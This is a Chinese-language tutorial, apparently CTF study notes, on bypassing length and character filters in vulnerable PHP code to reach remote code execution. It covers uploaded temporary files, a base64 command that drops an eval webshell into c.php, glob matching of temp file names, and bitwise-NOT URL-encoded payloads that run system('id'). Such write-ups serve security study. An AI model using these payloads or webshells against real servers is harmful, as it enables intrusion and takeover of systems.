临时文件绕过RCE
核心机制
当 PHP 接收multipart/form-data类型 POST 请求(上传文件)时:
- PHP 会自动把上传的文件保存到服务器磁盘,生成临时文件
- 临时文件路径存于:$_FILES'表单名''tmp_name'
- 默认生命周期:脚本执行结束,PHP 自动删除这个临时文件;脚本运行期间文件真实存在磁盘上。
- 临时文件名是随机,例如 /tmp/phpXXXXXX,但是临时文件名中有大小写
只有multipart/form-data表单上传文件才生成临时文件;普通application/x‑www‑form‑urlencodedPOST 纯参数不会生成临时文件。
临时文件绕过
1.长度限制绕过
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
echo shell_exec($param);
}
方法一临时文件绕过
修改请求头

Content‑Type: text/plain
声明上传文件的 MIME 类型,这里标记为普通文本
10--11行是1.txt中的内容
在tmp目录成功产生临时文件

再使用点空格,就算没有可执行权限也能执行该文件
.

方法二:文件名拼接绕过长度限制
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php
base64 -d是解码的意思
解码后:<?php eval($_GET1);
具体原理如下:

两个反斜杠实现转义反斜杠,文件名就是 c.\
在 Shell 脚本中:如果一行的结尾是 \,代表本行没有结束,把下一行和当前行拼接为同一行命令。

重定向>和空格






-t时间排序
echo id > c.php

成功生成后门c.php,如果把id换成其他可执行 PHP 代码,后续就可以用蚁剑连接,就能控制服务器。

2.字符限制
php8.5不再支持
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_\$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
方法一正则:
在code的参数中不能出现字母和数字,,于是用?来代替单个字母,分析临时文件发现在tmp目录中只有临时文件名会出现大写字母于是可以用**@-\[**表示A-Z。
在ascii码表中@过来了就是A,Z过了就是。而在正则中\[表示括号内任意一个字符。
因此可以匹配末尾是否是大写字母来匹配这个文件名
构建post上传文件请求头
成功但是没有输出

使用?><?=
?>闭合开头的<?php标签
<?= 是 PHP短输出标签,等价于 <?php echo

方法二取反:
原理如下:
以phpinfo();为例

输出取反后的值是一堆不可打印二进制字节。

进行url编码后

又能识别了

那直接对这个url编码进行取反

system ('id')
分析原理
原始字符串 system 是由字母组成的,但是 ~"system" 得到的不是可见字母,是一堆不可打印二进制字节。
payload:
code=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

为什么这样还能执行?
1.HTTP 报文传输
请求参数里出现的%8C这类内容,只是 HTTP 协议的 URL 编码写法。报文里虽然看着有数字字母,但这只是编码格式。
2.PHP 自动 URL 解码
PHP 接收 GET 参数,自动完成解码。
%xx 整体被解码成0x80‑0xFF 范围的不可见字节。
解码之后,原来报文里的数字、字母字符直接消失,内存里存的是不可见二进制字节,不属于字母、数字。
如下图:因为此时还没有取反

3.过滤检测
preg_match检测的是解码之后的$_GET'code'变量。
变量内容只有符号~ () " ;加上一批不可见高字节,没有字母数字,过滤直接放行。
4.eval 执行代码
eval 拿到放行后的字符串执行:
**~对这些不可见字节做按位取反运算,**代码运行的时候,在内存动态计算出system、id这类带字母的字符串。
注意:system/id并不是用户输入携带的,是运行时运算生成出来的。输入过滤只会检查用户输入,不会检测程序运行过程中动态生成的数据。
PHP 语法(字符串)(参数)完成函数调用,最终执行 system("id");。
思考:
通过取反这种方式,是否可以绕过一些安全工具的限制?这些工具会检查输入源代码。
静态可以,动态行为检测不行